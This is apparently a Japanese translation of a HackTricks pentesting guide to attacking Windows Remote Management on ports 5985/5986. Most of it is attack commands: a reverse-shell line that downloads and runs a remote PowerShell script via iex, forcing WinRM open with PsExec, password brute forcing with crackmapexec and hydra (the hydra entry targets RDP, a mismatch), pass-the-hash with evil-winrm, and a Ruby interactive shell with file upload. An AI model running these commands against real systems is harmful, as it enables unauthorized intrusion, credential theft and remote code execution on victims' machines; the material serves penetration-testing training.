# 5985,5986 - WinRMのペンテスト
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新についての情報を入手する
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!
## WinRM
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)は、Microsoftによって強調されている**プロトコル**であり、HTTP(S)を介して**Windowsシステムのリモート管理**を可能にするもので、その過程でSOAPを活用しています。これは基本的にWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして表れます。
マシン上にWinRMが存在すると、他のオペレーティングシステムでSSHが機能するのと同様に、PowerShellを介した簡単なリモート管理が可能になります。WinRMが稼働しているかどうかを確認するには、特定のポートが開かれているかを確認することが推奨されます:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
上記のリストからのオープンポートは、WinRMが設定されていることを示し、したがってリモートセッションを開始する試みを許可します。
### **WinRMセッションの開始**
PowerShellをWinRMに設定するには、Microsoftの`Enable-PSRemoting`コマンドレットが活躍し、コンピューターをリモートPowerShellコマンドを受け入れるように設定します。昇格されたPowerShellアクセスで、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼できるようにします:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
このアプローチでは、`trustedhosts` 構成にワイルドカードを追加する必要があります。これは重要な考慮事項があるため、慎重に行う必要があります。また、攻撃者のマシンでネットワークタイプを「Public」から「Work」に変更する必要があるかもしれません。
さらに、WinRM は `wmic` コマンドを使用して**リモートで有効化**することができます。以下に示すように実証されています:
```powershell
wmic /node: process call create "powershell enable-psremoting -force"
```
この方法を使用すると、WinRMのリモート設定が可能になり、遠隔からWindowsマシンを管理する柔軟性が向上します。
### 構成済みかどうかをテストする
攻撃マシンの設定を検証するために、`Test-WSMan`コマンドを使用してターゲットがWinRMを適切に構成しているかどうかを確認します。このコマンドを実行することで、プロトコルバージョンとwsmidに関する詳細が表示され、正常に構成されていることが示されます。以下は、構成されたターゲットと未構成のターゲットの場合の期待される出力を示す例です:
- **適切に**構成されたターゲットの場合、出力は次のようになります:
```bash
Test-WSMan
```
以下は、プロトコルバージョンとwsmidに関する情報を含む、WinRMが正しく設定されていることを示すレスポンスです。
![](<../.gitbook/assets/image (161) (1).png>)
- 逆に、WinRMに設定されていないターゲットの場合、適切なWinRMのセットアップがないことを示す詳細な情報がないことがわかります。
![](<../.gitbook/assets/image (162).png>)
### コマンドの実行
ターゲットマシンでリモートで`ipconfig`を実行し、その出力を表示するには、次のようにします:
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (163) (1).png>)
あなたは**Invoke-Command**を介して現在のPSコンソールのコマンドを実行することもできます。ローカルに**enumeration**という関数があると仮定し、それをリモートコンピュータで実行したい場合、次のようにします:
```powershell
Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### スクリプトの実行
```powershell
Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### 逆シェルを取得
```powershell
Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### PSセッションを取得する
インタラクティブなPowerShellシェルを取得するには、`Enter-PSSession`を使用します:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)
**セッションは、「被害者」内の新しいプロセス(wsmprovhost)で実行されます**
### **WinRMを強制的にオープンにする**
PSリモートおよびWinRMを使用するが、コンピュータが構成されていない場合、次のコマンドを使用して有効にできます:
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### セッションの保存と復元
これは、リモートコンピューターで言語が制約されている場合には機能しません。
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
このセッション内では、_Invoke-Command_ を使用して PS スクリプトをロードできます。
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### エラー
次のエラーが見つかった場合:
`enter-pssession : リモート サーバー 10.10.10.175 への接続に失敗しました。次のエラー メッセージが表示されました: WinRM クライアントは要求を処理できません。認証スキームが Kerberos と異なる場合、またはクライアント コンピューターがドメインに参加していない場合は、HTTPS トランスポートを使用するか、宛先マシンを TrustedHosts 構成設定に追加する必要があります。TrustedHosts を構成するには、winrm.cmd を使用します。TrustedHosts リストにあるコンピューターは認証されない場合があることに注意してください。次のコマンドを実行して詳細情報を取得できます: winrm help config。詳細については、about_Remote_Troubleshooting ヘルプ トピックを参照してください。`
クライアントで次の手順を試してください([こちら](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)からの情報):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新情報で追いかけましょう
**最新のお知らせ**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについての情報を入手しましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力を始めましょう!
## Linux での WinRM 接続
### ブルートフォース
WinRM のブルートフォースには注意が必要です。
```ruby
#Brute force
crackmapexec winrm -d -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm -d -u -p -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm -d -u -H -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### 悪意のあるwinrmの使用
```ruby
gem install evil-winrm
```
**ドキュメント**はこちらのGitHubで入手可能: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i /
```
### evil-winrmを使用してIPv6アドレスに接続するには、_**/etc/hosts**_内にドメイン名をIPv6アドレスに設定して、そのドメインに接続します。
### evil-winrmでハッシュを渡す
```ruby
evil-winrm -u -H -i
```
### PS-docker マシンの使用
PS-docker マシンを使用すると、攻撃者は Docker コンテナ内で WinRM サービスを実行している Windows マシンにアクセスできます。これにより、攻撃者は WinRM サービスを介して Windows マシンに対して様々な攻撃を実行することが可能となります。
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### ルビースクリプトの使用
**ここから抽出されたコード: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)**
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
## Shodan
* `port:5985 Microsoft-HTTPAPI`
## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Automatic Commands
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングの洞察力**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツと交流しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新情報で追いかけましょう
**最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう!
**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう!
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com) を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する